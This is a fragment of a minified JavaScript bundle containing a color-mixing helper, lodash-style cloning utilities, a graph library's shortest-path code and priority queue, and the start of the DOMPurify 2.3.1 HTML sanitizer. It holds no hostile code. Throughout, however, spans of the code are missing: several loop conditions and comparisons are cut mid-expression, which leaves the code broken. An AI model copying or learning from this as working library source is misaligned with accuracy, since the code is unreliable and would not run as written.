e)e[o]&&(a[o]=n[o]+e[o]);return i.default(t,a)}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(5),i=n(59);e.default=function(t,e,n){void 0===n&&(n=50);var a=r.default.parse(t),o=a.r,s=a.g,u=a.b,c=a.a,l=r.default.parse(e),h=l.r,f=l.g,d=l.b,p=l.a,y=n/100,g=2*y-1,v=c-p,m=((g*v==-1?g:(g+v)/(1+g*v))+1)/2,b=1-m,_=o*m+h*b,x=s*m+f*b,w=u*m+d*b,k=c*y+p*(1-y);return i.default(_,x,w,k)}},function(t,e){},function(t,e,n){var r=n(61),i=n(94),a=n(66),o=n(388),s=n(394),u=n(142),c=n(143),l=n(397),h=n(398),f=n(147),d=n(399),p=n(44),y=n(403),g=n(404),v=n(152),m=n(4),b=n(43),_=n(408),x=n(13),w=n(410),k=n(32),T=n(37),E={};E["[object Arguments]"]=E["[object Array]"]=E["[object ArrayBuffer]"]=E["[object DataView]"]=E["[object Boolean]"]=E["[object Date]"]=E["[object Float32Array]"]=E["[object Float64Array]"]=E["[object Int8Array]"]=E["[object Int16Array]"]=E["[object Int32Array]"]=E["[object Map]"]=E["[object Number]"]=E["[object Object]"]=E["[object RegExp]"]=E["[object Set]"]=E["[object String]"]=E["[object Symbol]"]=E["[object Uint8Array]"]=E["[object Uint8ClampedArray]"]=E["[object Uint16Array]"]=E["[object Uint32Array]"]=!0,E["[object Error]"]=E["[object Function]"]=E["[object WeakMap]"]=!1,t.exports=function t(e,n,C,S,A,M){var N,O=1&n,D=2&n,B=4&n;if(C&&(N=A?C(e,S,A,M):C(e)),void 0!==N)return N;if(!x(e))return e;var L=m(e);if(L){if(N=y(e),!O)return c(e,N)}else{var I=p(e),R="[object Function]"==I||"[object GeneratorFunction]"==I;if(b(e))return u(e,O);if("[object Object]"==I||"[object Arguments]"==I||R&&!A){if(N=D||R?{}:v(e),!O)return D?h(e,s(N,e)):l(e,o(N,e))}else{if(!E[I])return A?e:{};N=g(e,I,O)}}M||(M=new r);var F=M.get(e);if(F)return F;M.set(e,N),w(e)?e.forEach((function(r){N.add(t(r,n,C,r,e,M))})):_(e)&&e.forEach((function(r,i){N.set(i,t(r,n,C,i,e,M))}));var P=L?void 0:(B?D?d:f:D?T:k)(e);return i(P||e,(function(r,i){P&&(r=e[i=r]),a(N,i,t(r,n,C,i,e,M))})),N}},function(t,e,n){(function(e){var n="object"==typeof e&&e&&e.Object===Object&&e;t.exports=n}).call(this,n(370))},function(t,e){var n=Function.prototype.toString;t.exports=function(t){if(null!=t){try{return n.call(t)}catch(t){}try{return t+""}catch(t){}}return""}},function(t,e,n){var r=n(35),i=function(){try{var t=r(Object,"defineProperty");return t({},"",{}),t}catch(t){}}();t.exports=i},function(t,e,n){var r=n(389),i=n(52),a=n(4),o=n(43),s=n(68),u=n(53),c=Object.prototype.hasOwnProperty;t.exports=function(t,e){var n=a(t),l=!n&&i(t),h=!n&&!l&&o(t),f=!n&&!l&&!h&&u(t),d=n||l||h||f,p=d?r(t.length,String):[],y=p.length;for(var g in t)!e&&!c.call(t,g)||d&&("length"==g||h&&("offset"==g||"parent"==g)||f&&("buffer"==g||"byteLength"==g||"byteOffset"==g)||s(g,y))||p.push(g);return p}},function(t,e){t.exports=function(t,e){return function(n){return t(e(n))}}},function(t,e,n){(function(t){var r=n(18),i=e&&!e.nodeType&&e,a=i&&"object"==typeof t&&t&&!t.nodeType&&t,o=a&&a.exports===i?r.Buffer:void 0,s=o?o.allocUnsafe:void 0;t.exports=function(t,e){if(e)return t.slice();var n=t.length,r=s?s(n):new t.constructor(n);return t.copy(r),r}}).call(this,n(6)(t))},function(t,e){t.exports=function(t,e){var n=-1,r=t.length;for(e||(e=Array(r));++nl))return!1;var f=u.get(t),d=u.get(e);if(f&&d)return f==e&&d==t;var p=-1,y=!0,g=2&n?new r:void 0;for(u.set(t,e),u.set(e,t);++p0&&(a=u.removeMin(),(o=s[a]).distance!==Number.POSITIVE_INFINITY);)r(a).forEach(c);return s}(t,String(e),n||a,r||function(e){return t.outEdges(e)})};var a=r.constant(1)},function(t,e,n){var r=n(12);function i(){this._arr=[],this._keyIndices={}}t.exports=i,i.prototype.size=function(){return this._arr.length},i.prototype.keys=function(){return this._arr.map((function(t){return t.key}))},i.prototype.has=function(t){return r.has(this._keyIndices,t)},i.prototype.priority=function(t){var e=this._keyIndices[t];if(void 0!==e)return this._arr[e].priority},i.prototype.min=function(){if(0===this.size())throw new Error("Queue underflow");return this._arr[0].key},i.prototype.add=function(t,e){var n=this._keyIndices;if(t=String(t),!r.has(n,t)){var i=this._arr,a=i.length;return n[t]=a,i.push({key:t,priority:e}),this._decrease(a),!0}return!1},i.prototype.removeMin=function(){this._swap(0,this._arr.length-1);var t=this._arr.pop();return delete this._keyIndices[t.key],this._heapify(0),t.key},i.prototype.decrease=function(t,e){var n=this._keyIndices[t];if(e>this._arr[n].priority)throw new Error("New priority is greater than current priority. Key: "+t+" Old: "+this._arr[n].priority+" New: "+e);this._arr[n].priority=e,this._decrease(n)},i.prototype._heapify=function(t){var e=this._arr,n=2*t,r=n+1,i=t;n>1].priority2?e[2]:void 0;for(c&&a(e[0],e[1],c)&&(r=1);++n1&&o.sort((function(t,e){var r=t.x-n.x,i=t.y-n.y,a=Math.sqrt(r*r+i*i),o=e.x-n.x,s=e.y-n.y,u=Math.sqrt(o*o+s*s);return aMath.abs(o)*c?(s<0&&(c=-c),n=0===s?0:c*o/s,r=c):(o<0&&(u=-u),n=u,r=0===o?0:u*s/o);return{x:i+n,y:a+r}}},function(t,e,n){ -/*! @license DOMPurify 2.3.1 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/2.3.1/LICENSE */ -t.exports=function(){"use strict";var t=Object.hasOwnProperty,e=Object.setPrototypeOf,n=Object.isFrozen,r=Object.getPrototypeOf,i=Object.getOwnPropertyDescriptor,a=Object.freeze,o=Object.seal,s=Object.create,u="undefined"!=typeof Reflect&&Reflect,c=u.apply,l=u.construct;c||(c=function(t,e,n){return t.apply(e,n)}),a||(a=function(t){return t}),o||(o=function(t){return t}),l||(l=function(t,e){return new(Function.prototype.bind.apply(t,[null].concat(function(t){if(Array.isArray(t)){for(var e=0,n=Array(t.length);e1?n-1:0),i=1;i/gm),j=o(/^data-[\-\w.\u00B7-\uFFFF]/),Y=o(/^aria-[\-\w]+$/),U=o(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),z=o(/^(?:\w+script|data):/i),q=o(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),H="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t};function $(t){if(Array.isArray(t)){for(var e=0,n=Array(t.length);e0&&void 0!==arguments[0]?arguments[0]:W(),n=function(e){return t(e)};if(n.version="2.3.1",n.removed=[],!e||!e.document||9!==e.document.nodeType)return n.isSupported=!1,n;var r=e.document,i=e.document,o=e.DocumentFragment,s=e.HTMLTemplateElement,u=e.Node,c=e.Element,l=e.NodeFilter,h=e.NamedNodeMap,w=void 0===h?e.NamedNodeMap||e.MozNamedAttrMap:h,G=e.Text,X=e.Comment,Z=e.DOMParser,Q=e.trustedTypes,K=c.prototype,J=E(K,"cloneNode"),tt=E(K,"nextSibling"),et=E(K,"childNodes"),nt=E(K,"parentNode");if("function"==typeof s){var rt=i.createElement("template");rt.content&&rt.content.ownerDocument&&(i=rt.content.ownerDocument)}var it=V(Q,r),at=it&&Ft?it.createHTML(""):"",ot=i,st=ot.implementation,ut=ot.createNodeIterator,ct=ot.createDocumentFragment,lt=ot.getElementsByTagName,ht=r.importNode,ft={};try{ft=T(i).documentMode?i.documentMode:{}}catch(t){}var dt={};n.isSupported="function"==typeof nt&&st&&void 0!==st.createHTMLDocument&&9!==ft;var pt=F,yt=P,gt=j,vt=Y,mt=z,bt=q,_t=U,xt=null,wt=k({},[].concat($(C),$(S),$(A),$(N),$(D))),kt=null,Tt=k({},[].concat($(B),$(L),$(I),$(R))),Et=null,Ct=null,St=!0,At=!0,Mt=!1,Nt=!1,Ot=!1,Dt=!1,Bt=!1,Lt=!1,It=!1,Rt=!0,Ft=!1,Pt=!0,jt=!0,Yt=!1,Ut={},zt=null,qt=k({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","style","svg","template","thead","title","video","xmp"]),Ht=null,$t=k({},["audio","video","img","source","image","track"]),Wt=null,Vt=k({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),Gt="http://www.w3.org/1998/Math/MathML",Xt="http://www.w3.org/2000/svg",Zt="http://www.w3.org/1999/xhtml",Qt=Zt,Kt=!1,Jt=null,te=i.createElement("form"),ee=function(t){Jt&&Jt===t||(t&&"object"===(void 0===t?"undefined":H(t))||(t={}),t=T(t),xt="ALLOWED_TAGS"in t?k({},t.ALLOWED_TAGS):wt,kt="ALLOWED_ATTR"in t?k({},t.ALLOWED_ATTR):Tt,Wt="ADD_URI_SAFE_ATTR"in t?k(T(Vt),t.ADD_URI_SAFE_ATTR):Vt,Ht="ADD_DATA_URI_TAGS"in t?k(T($t),t.ADD_DATA_URI_TAGS):$t,zt="FORBID_CONTENTS"in t?k({},t.FORBID_CONTENTS):qt,Et="FORBID_TAGS"in t?k({},t.FORBID_TAGS):{},Ct="FORBID_ATTR"in t?k({},t.FORBID_ATTR):{},Ut="USE_PROFILES"in t&&t.USE_PROFILES,St=!1!==t.ALLOW_ARIA_ATTR,At=!1!==t.ALLOW_DATA_ATTR,Mt=t.ALLOW_UNKNOWN_PROTOCOLS||!1,Nt=t.SAFE_FOR_TEMPLATES||!1,Ot=t.WHOLE_DOCUMENT||!1,Lt=t.RETURN_DOM||!1,It=t.RETURN_DOM_FRAGMENT||!1,Rt=!1!==t.RETURN_DOM_IMPORT,Ft=t.RETURN_TRUSTED_TYPE||!1,Bt=t.FORCE_BODY||!1,Pt=!1!==t.SANITIZE_DOM,jt=!1!==t.KEEP_CONTENT,Yt=t.IN_PLACE||!1,_t=t.ALLOWED_URI_REGEXP||_t,Qt=t.NAMESPACE||Zt,Nt&&(At=!1),It&&(Lt=!0),Ut&&(xt=k({},[].concat($(D))),kt=[],!0===Ut.html&&(k(xt,C),k(kt,B)),!0===Ut.svg&&(k(xt,S),k(kt,L),k(kt,R)),!0===Ut.svgFilters&&(k(xt,A),k(kt,L),k(kt,R)),!0===Ut.mathMl&&(k(xt,N),k(kt,I),k(kt,R))),t.ADD_TAGS&&(xt===wt&&(xt=T(xt)),k(xt,t.ADD_TAGS)),t.ADD_ATTR&&(kt===Tt&&(kt=T(kt)),k(kt,t.ADD_ATTR)),t.ADD_URI_SAFE_ATTR&&k(Wt,t.ADD_URI_SAFE_ATTR),t.FORBID_CONTENTS&&(zt===qt&&(zt=T(zt)),k(zt,t.FORBID_CONTENTS)),jt&&(xt["#text"]=!0),Ot&&k(xt,["html","head","body"]),xt.table&&(k(xt,["tbody"]),delete Et.tbody),a&&a(t),Jt=t)},ne=k({},["mi","mo","mn","ms","mtext"]),re=k({},["foreignobject","desc","title","annotation-xml"]),ie=k({},S);k(ie,A),k(ie,M);var ae=k({},N);k(ae,O);var oe=function(t){var e=nt(t);e&&e.tagName||(e={namespaceURI:Zt,tagName:"template"});var n=y(t.tagName),r=y(e.tagName);if(t.namespaceURI===Xt)return e.namespaceURI===Zt?"svg"===n:e.namespaceURI===Gt?"svg"===n&&("annotation-xml"===r||ne[r]):Boolean(ie[n]);if(t.namespaceURI===Gt)return e.namespaceURI===Zt?"math"===n:e.namespaceURI===Xt?"math"===n&&re[r]:Boolean(ae[n]);if(t.namespaceURI===Zt){if(e.namespaceURI===Xt&&!re[r])return!1;if(e.namespaceURI===Gt&&!ne[r])return!1;var i=k({},["title","style","font","a","script"]);return!ae[n]&&(i[n]||!ie[n])}return!1},se=function(t){p(n.removed,{element:t});try{t.parentNode.removeChild(t)}catch(e){try{t.outerHTML=at}catch(e){t.remove()}}},ue=function(t,e){try{p(n.removed,{attribute:e.getAttributeNode(t),from:e})}catch(t){p(n.removed,{attribute:null,from:e})}if(e.removeAttribute(t),"is"===t&&!kt[t])if(Lt||It)try{se(e)}catch(t){}else try{e.setAttribute(t,"")}catch(t){}},ce=function(t){var e=void 0,n=void 0;if(Bt)t=""+t;else{var r=g(t,/^[\r\n\t ]+/);n=r&&r[0]}var a=it?it.createHTML(t):t;if(Qt===Zt)try{e=(new Z).parseFromString(a,"text/html")}catch(t){}if(!e||!e.documentElement){e=st.createDocument(Qt,"template",null);try{e.documentElement.innerHTML=Kt?"":a}catch(t){}}var o=e.body||e.documentElement;return t&&n&&o.insertBefore(i.createTextNode(n),o.childNodes[0]||null),Qt===Zt?lt.call(e,Ot?"html":"body")[0]:Ot?e.documentElement:o},le=function(t){return ut.call(t.ownerDocument||t,t,l.SHOW_ELEMENT|l.SHOW_COMMENT|l.SHOW_TEXT,null,!1)},he=function(t){return!(t instanceof G||t instanceof X||"string"==typeof t.nodeName&&"string"==typeof t.textContent&&"function"==typeof t.removeChild&&t.attributes instanceof w&&"function"==typeof t.removeAttribute&&"function"==typeof t.setAttribute&&"string"==typeof t.namespaceURI&&"function"==typeof t.insertBefore)},fe=function(t){return"object"===(void 0===u?"undefined":H(u))?t instanceof u:t&&"object"===(void 0===t?"undefined":H(t))&&"number"==typeof t.nodeType&&"string"==typeof t.nodeName},de=function(t,e,r){dt[t]&&f(dt[t],(function(t){t.call(n,e,r,Jt)}))},pe=function(t){var e=void 0;if(de("beforeSanitizeElements",t,null),he(t))return se(t),!0;if(g(t.nodeName,/[\u0080-\uFFFF]/))return se(t),!0;var r=y(t.nodeName);if(de("uponSanitizeElement",t,{tagName:r,allowedTags:xt}),!fe(t.firstElementChild)&&(!fe(t.content)||!fe(t.content.firstElementChild))&&_(/<[/\w]/g,t.innerHTML)&&_(/<[/\w]/g,t.textContent))return se(t),!0;if("select"===r&&_(/